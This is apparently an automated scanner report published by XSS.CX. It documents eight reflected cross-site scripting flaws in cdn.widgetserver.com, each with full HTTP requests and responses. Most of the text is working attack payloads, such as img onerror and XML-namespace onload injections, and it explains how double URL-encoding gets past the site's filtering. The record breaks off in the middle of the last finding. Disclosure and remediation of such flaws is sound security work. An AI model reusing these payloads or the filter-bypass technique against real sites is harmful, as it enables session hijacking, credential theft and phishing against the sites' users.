XSS, XML Namespace, Javascript Injection, REST URL Parameter, Proof of Concept, cdn.widgetserver.com

Note that this style of Reflected Cross Site Scripting evades common XSS Neutering Routines

Report generated by XSS.CX at Mon Oct 24 07:41:57 CDT 2011.


Loading


1. Cross-site scripting (reflected)

1.1. http://cdn.widgetserver.com/syndication/json/i/edfd04f1-5b6c-4da9-8bde-1f967bb5d30e/iv/1/p/3/r/130ebb2c-d327-42d0-b7f9-1705838d3f22/rv/8/t/a40d25ba92226edc8507611a8653aee11dba405d00000133333456db/u/3/ [REST URL parameter 14]

1.2. http://cdn.widgetserver.com/syndication/json/i/edfd04f1-5b6c-4da9-8bde-1f967bb5d30e/iv/1/p/3/r/130ebb2c-d327-42d0-b7f9-1705838d3f22/rv/8/t/a40d25ba92226edc8507611a8653aee11dba405d00000133333456db/u/3/ [REST URL parameter 4]

1.3. http://cdn.widgetserver.com/syndication/xml/i/f699f17f-b213-427c-9eec-2a30cd108a75/iv/2/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/506/t/dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b/u/3/ [REST URL parameter 14]

1.4. http://cdn.widgetserver.com/syndication/xml/i/f699f17f-b213-427c-9eec-2a30cd108a75/iv/2/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/506/t/dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b/u/3/ [REST URL parameter 4]

1.5. http://cdn.widgetserver.com/syndication/xml/i/f699f17f-b213-427c-9eec-2a30cd108a75/iv/2/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/506/t/dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b32c17%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%25281%2529%2527%252f%253e%253c%252fa%253ec6f18bfabe/u/3/ [REST URL parameter 14]

1.6. http://cdn.widgetserver.com/syndication/xml/i/f699f17f-b213-427c-9eec-2a30cd108a75/iv/2/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/506/t/dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b32c17%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%25281%2529%2527%252f%253e%253c%252fa%253ec6f18bfabe/u/3/ [REST URL parameter 4]

1.7. http://cdn.widgetserver.com/syndication/xml/i/f699f17f-b213-427c-9eec-2a30cd108a75/iv/2/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/506/t/dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b32c17%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%2528document.location%2529%2527%252f%253e%253c%252fa%253ec6f18bfabe/u/3/ [REST URL parameter 14]

1.8. http://cdn.widgetserver.com/syndication/xml/i/f699f17f-b213-427c-9eec-2a30cd108a75/iv/2/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/506/t/dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b32c17%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%2528document.location%2529%2527%252f%253e%253c%252fa%253ec6f18bfabe/u/3/ [REST URL parameter 4]

2. Content type incorrectly stated



1. Cross-site scripting (reflected)  next
There are 8 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://cdn.widgetserver.com/syndication/json/i/edfd04f1-5b6c-4da9-8bde-1f967bb5d30e/iv/1/p/3/r/130ebb2c-d327-42d0-b7f9-1705838d3f22/rv/8/t/a40d25ba92226edc8507611a8653aee11dba405d00000133333456db/u/3/ [REST URL parameter 14]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://cdn.widgetserver.com
Path:   /syndication/json/i/edfd04f1-5b6c-4da9-8bde-1f967bb5d30e/iv/1/p/3/r/130ebb2c-d327-42d0-b7f9-1705838d3f22/rv/8/t/a40d25ba92226edc8507611a8653aee11dba405d00000133333456db/u/3/

Issue detail

The value of REST URL parameter 14 is copied into the HTML document as plain text between tags. The payload 43777<img%20src%3da%20onerror%3dalert(1)>945180baf10 was submitted in the REST URL parameter 14. This input was echoed as 43777<img src=a onerror=alert(1)>945180baf10 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /syndication/json/i/edfd04f1-5b6c-4da9-8bde-1f967bb5d30e/iv/1/p/3/r/130ebb2c-d327-42d0-b7f9-1705838d3f22/rv/8/t/a40d25ba92226edc8507611a8653aee11dba405d00000133333456db43777<img%20src%3da%20onerror%3dalert(1)>945180baf10/u/3/?callback=WIDGETBOX.subscriber.Main.onWidgetInfoResponse HTTP/1.1
Host: cdn.widgetserver.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://venturebeat.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript;charset=UTF-8
Date: Mon, 24 Oct 2011 01:27:20 GMT
Expires: Thu, 27 Oct 2011 01:26:20 GMT
ObjectVersions: [Inst: req 1, db 1]; [Reg: req 8, db 8];
P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA"
Server: Apache/2.2.3 (Red Hat)
Vary: Accept-Encoding
X-WBX: web15
Content-Length: 5514

WIDGETBOX.subscriber.Main.onWidgetInfoResponse({"widgets":[{"enabledState":"0","initParams":"wbx_theme_mod=%23FFFFFF&wbx_stageHeight=500&wbx_tab_1_default_image=http%3A%2F%2Ffiles.widgetbox.com%2Fserv
...[SNIP]...
false,"isAdEnabled":false,"adPlacement":"TL","categories":"","thumbFilePath":"/thumbs/7a8/130ebb2c-d327-42d0-b7f9-1705838d3f22.png?8"}],"token":"a40d25ba92226edc8507611a8653aee11dba405d00000133333456db43777<img src=a onerror=alert(1)>945180baf10"});

1.2. http://cdn.widgetserver.com/syndication/json/i/edfd04f1-5b6c-4da9-8bde-1f967bb5d30e/iv/1/p/3/r/130ebb2c-d327-42d0-b7f9-1705838d3f22/rv/8/t/a40d25ba92226edc8507611a8653aee11dba405d00000133333456db/u/3/ [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://cdn.widgetserver.com
Path:   /syndication/json/i/edfd04f1-5b6c-4da9-8bde-1f967bb5d30e/iv/1/p/3/r/130ebb2c-d327-42d0-b7f9-1705838d3f22/rv/8/t/a40d25ba92226edc8507611a8653aee11dba405d00000133333456db/u/3/

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 4e2f4<a>1722d9b17d6 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /syndication/json/i/edfd04f1-5b6c-4da9-8bde-1f967bb5d30e4e2f4<a>1722d9b17d6/iv/1/p/3/r/130ebb2c-d327-42d0-b7f9-1705838d3f22/rv/8/t/a40d25ba92226edc8507611a8653aee11dba405d00000133333456db/u/3/?callback=WIDGETBOX.subscriber.Main.onWidgetInfoResponse HTTP/1.1
Host: cdn.widgetserver.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://venturebeat.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript;charset=UTF-8
Date: Mon, 24 Oct 2011 01:25:42 GMT
P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA"
Server: Apache/2.2.3 (Red Hat)
Vary: Accept-Encoding
X-WBX: web01
Content-Length: 1190

WIDGETBOX.subscriber.Main.onWidgetInfoResponse({"widgets":[{"userPK":"","initParams":"","hasDynamicStyle":false,"appId":"edfd04f1-5b6c-4da9-8bde-1f967bb5d30e4e2f4<a>1722d9b17d6","providerServiceLevel":"","fromPartnerNetworkCode":"","appWidth":"120","appHeight":"120","subscribeMode":"DISABLE_GW","regPK":"","instServiceLevel":"","shortDescr":"","serviceLevel":"","hasDynamicSiz
...[SNIP]...

1.3. http://cdn.widgetserver.com/syndication/xml/i/f699f17f-b213-427c-9eec-2a30cd108a75/iv/2/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/506/t/dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b/u/3/ [REST URL parameter 14]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://cdn.widgetserver.com
Path:   /syndication/xml/i/f699f17f-b213-427c-9eec-2a30cd108a75/iv/2/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/506/t/dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b/u/3/

Issue detail

The value of REST URL parameter 14 is copied into the XML document as plain text between tags. The payload 32c17%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%25281%2529%2527%252f%253e%253c%252fa%253ec6f18bfabe was submitted in the REST URL parameter 14. This input was echoed as 32c17<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>c6f18bfabe in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The response into which the attack is echoed contains XML data, which is not by default processed by the browser as HTML. However, by injecting XML elements which create a new namespace it is possible to trick some browsers (including Firefox) into processing part of the response as HTML. Note that this proof-of-concept attack is designed to execute when processed by the browser as a standalone response, not when the XML is consumed by a script within another page.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 14 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /syndication/xml/i/f699f17f-b213-427c-9eec-2a30cd108a75/iv/2/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/506/t/dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b32c17%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%25281%2529%2527%252f%253e%253c%252fa%253ec6f18bfabe/u/3/ HTTP/1.1
Host: cdn.widgetserver.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://cdn.widgetserver.com/syndication/flash/blidget/blidget.swf?cb=55392
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/xml;charset=UTF-8
Date: Mon, 24 Oct 2011 01:27:20 GMT
Expires: Thu, 27 Oct 2011 01:26:21 GMT
ObjectVersions: [Inst: req 2, db 2]; [Reg: req 506, db 506];
P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA"
Server: Apache/2.2.3 (Red Hat)
Vary: Accept-Encoding
X-WBX: web15
Content-Length: 3423

<response><widgets><widget><token>dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b32c17<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>c6f18bfabe</token><app-id>f699f1
...[SNIP]...

1.4. http://cdn.widgetserver.com/syndication/xml/i/f699f17f-b213-427c-9eec-2a30cd108a75/iv/2/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/506/t/dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b/u/3/ [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://cdn.widgetserver.com
Path:   /syndication/xml/i/f699f17f-b213-427c-9eec-2a30cd108a75/iv/2/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/506/t/dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b/u/3/

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload cb699<a>d6131889d37 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /syndication/xml/i/f699f17f-b213-427c-9eec-2a30cd108a75cb699<a>d6131889d37/iv/2/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/506/t/dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b/u/3/ HTTP/1.1
Host: cdn.widgetserver.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://cdn.widgetserver.com/syndication/flash/blidget/blidget.swf?cb=55392
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/xml;charset=UTF-8
Date: Mon, 24 Oct 2011 01:25:41 GMT
P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA"
Server: Apache/2.2.3 (Red Hat)
Vary: Accept-Encoding
X-WBX: web04
Content-Length: 1696

<response><widgets><widget><token>dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b</token><app-id>f699f17f-b213-427c-9eec-2a30cd108a75cb699<a>d6131889d37</app-id><reg-id></reg-id><friendly-id>
...[SNIP]...

1.5. http://cdn.widgetserver.com/syndication/xml/i/f699f17f-b213-427c-9eec-2a30cd108a75/iv/2/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/506/t/dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b32c17%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%25281%2529%2527%252f%253e%253c%252fa%253ec6f18bfabe/u/3/ [REST URL parameter 14]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://cdn.widgetserver.com
Path:   /syndication/xml/i/f699f17f-b213-427c-9eec-2a30cd108a75/iv/2/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/506/t/dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b32c17%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%25281%2529%2527%252f%253e%253c%252fa%253ec6f18bfabe/u/3/

Issue detail

The value of REST URL parameter 14 is copied into the XML document as plain text between tags. The payload 97f78%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%25281%2529%2527%252f%253e%253c%252fa%253ec5804555197 was submitted in the REST URL parameter 14. This input was echoed as 97f78<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>c5804555197 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The response into which the attack is echoed contains XML data, which is not by default processed by the browser as HTML. However, by injecting XML elements which create a new namespace it is possible to trick some browsers (including Firefox) into processing part of the response as HTML. Note that this proof-of-concept attack is designed to execute when processed by the browser as a standalone response, not when the XML is consumed by a script within another page.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 14 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /syndication/xml/i/f699f17f-b213-427c-9eec-2a30cd108a75/iv/2/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/506/t/dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b32c17%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%25281%2529%2527%252f%253e%253c%252fa%253ec6f18bfabe97f78%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%25281%2529%2527%252f%253e%253c%252fa%253ec5804555197/u/3/ HTTP/1.1
Host: cdn.widgetserver.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://cdn.widgetserver.com/syndication/xml/i/f699f17f-b213-427c-9eec-2a30cd108a75/iv/2/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/506/t/dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b32c17%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%25281%2529%2527%252f%253e%253c%252fa%253ec6f18bfabe/u/3/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/xml;charset=UTF-8
Date: Mon, 24 Oct 2011 01:44:59 GMT
Expires: Thu, 27 Oct 2011 01:43:59 GMT
ObjectVersions: [Inst: req 2, db 2]; [Reg: req 506, db 506];
P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA"
Server: Apache/2.2.3 (Red Hat)
Vary: Accept-Encoding
X-WBX: web16
Content-Length: 3736

<response><widgets><widget><token>dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b32c17<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>c6f18bfabe97f78<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>c5804555197</token>
...[SNIP]...

1.6. http://cdn.widgetserver.com/syndication/xml/i/f699f17f-b213-427c-9eec-2a30cd108a75/iv/2/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/506/t/dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b32c17%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%25281%2529%2527%252f%253e%253c%252fa%253ec6f18bfabe/u/3/ [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://cdn.widgetserver.com
Path:   /syndication/xml/i/f699f17f-b213-427c-9eec-2a30cd108a75/iv/2/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/506/t/dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b32c17%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%25281%2529%2527%252f%253e%253c%252fa%253ec6f18bfabe/u/3/

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload e446a<a>73285380529 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /syndication/xml/i/f699f17f-b213-427c-9eec-2a30cd108a75e446a<a>73285380529/iv/2/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/506/t/dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b32c17%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%25281%2529%2527%252f%253e%253c%252fa%253ec6f18bfabe/u/3/ HTTP/1.1
Host: cdn.widgetserver.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://cdn.widgetserver.com/syndication/xml/i/f699f17f-b213-427c-9eec-2a30cd108a75/iv/2/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/506/t/dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b32c17%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%25281%2529%2527%252f%253e%253c%252fa%253ec6f18bfabe/u/3/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/xml;charset=UTF-8
Date: Mon, 24 Oct 2011 01:44:40 GMT
P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA"
Server: Apache/2.2.3 (Red Hat)
Vary: Accept-Encoding
X-WBX: web16
Content-Length: 1872

<response><widgets><widget><token>dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b32c17<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>c6f18bfabe</token><app-id>f699f17f-b213-427c-9eec-2a30cd108a75e446a<a>73285380529</app-id>
...[SNIP]...

1.7. http://cdn.widgetserver.com/syndication/xml/i/f699f17f-b213-427c-9eec-2a30cd108a75/iv/2/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/506/t/dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b32c17%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%2528document.location%2529%2527%252f%253e%253c%252fa%253ec6f18bfabe/u/3/ [REST URL parameter 14]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://cdn.widgetserver.com
Path:   /syndication/xml/i/f699f17f-b213-427c-9eec-2a30cd108a75/iv/2/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/506/t/dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b32c17%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%2528document.location%2529%2527%252f%253e%253c%252fa%253ec6f18bfabe/u/3/

Issue detail

The value of REST URL parameter 14 is copied into the XML document as plain text between tags. The payload 3faf0%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%25281%2529%2527%252f%253e%253c%252fa%253e4bf2ec0d345 was submitted in the REST URL parameter 14. This input was echoed as 3faf0<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>4bf2ec0d345 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The response into which the attack is echoed contains XML data, which is not by default processed by the browser as HTML. However, by injecting XML elements which create a new namespace it is possible to trick some browsers (including Firefox) into processing part of the response as HTML. Note that this proof-of-concept attack is designed to execute when processed by the browser as a standalone response, not when the XML is consumed by a script within another page.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 14 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /syndication/xml/i/f699f17f-b213-427c-9eec-2a30cd108a75/iv/2/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/506/t/dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b32c17%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%2528document.location%2529%2527%252f%253e%253c%252fa%253ec6f18bfabe3faf0%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%25281%2529%2527%252f%253e%253c%252fa%253e4bf2ec0d345/u/3/ HTTP/1.1
Host: cdn.widgetserver.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://cdn.widgetserver.com/syndication/xml/i/f699f17f-b213-427c-9eec-2a30cd108a75/iv/2/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/506/t/dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b32c17%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%2528document.location%2529%2527%252f%253e%253c%252fa%253ec6f18bfabe/u/3/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/xml;charset=UTF-8
Date: Mon, 24 Oct 2011 01:46:29 GMT
Expires: Thu, 27 Oct 2011 01:45:29 GMT
ObjectVersions: [Inst: req 2, db 2]; [Reg: req 506, db 506];
P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA"
Server: Apache/2.2.3 (Red Hat)
Vary: Accept-Encoding
X-WBX: web02
Content-Length: 3784

<response><widgets><widget><token>dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b32c17<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(document.location)'/></a>c6f18bfabe3faf0<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>4bf2ec0d345</token>
...[SNIP]...

1.8. http://cdn.widgetserver.com/syndication/xml/i/f699f17f-b213-427c-9eec-2a30cd108a75/iv/2/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/506/t/dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b32c17%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%2528document.location%2529%2527%252f%253e%253c%252fa%253ec6f18bfabe/u/3/ [REST URL parameter 4]  previous

Summary

Severity:   High
Confidence:   Firm
Host:   http://cdn.widgetserver.com
Path:   /syndication/xml/i/f699f17f-b213-427c-9eec-2a30cd108a75/iv/2/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/506/t/dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b32c17%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%2528document.location%2529%2527%252f%253e%253c%252fa%253ec6f18bfabe/u/3/

Issue detail

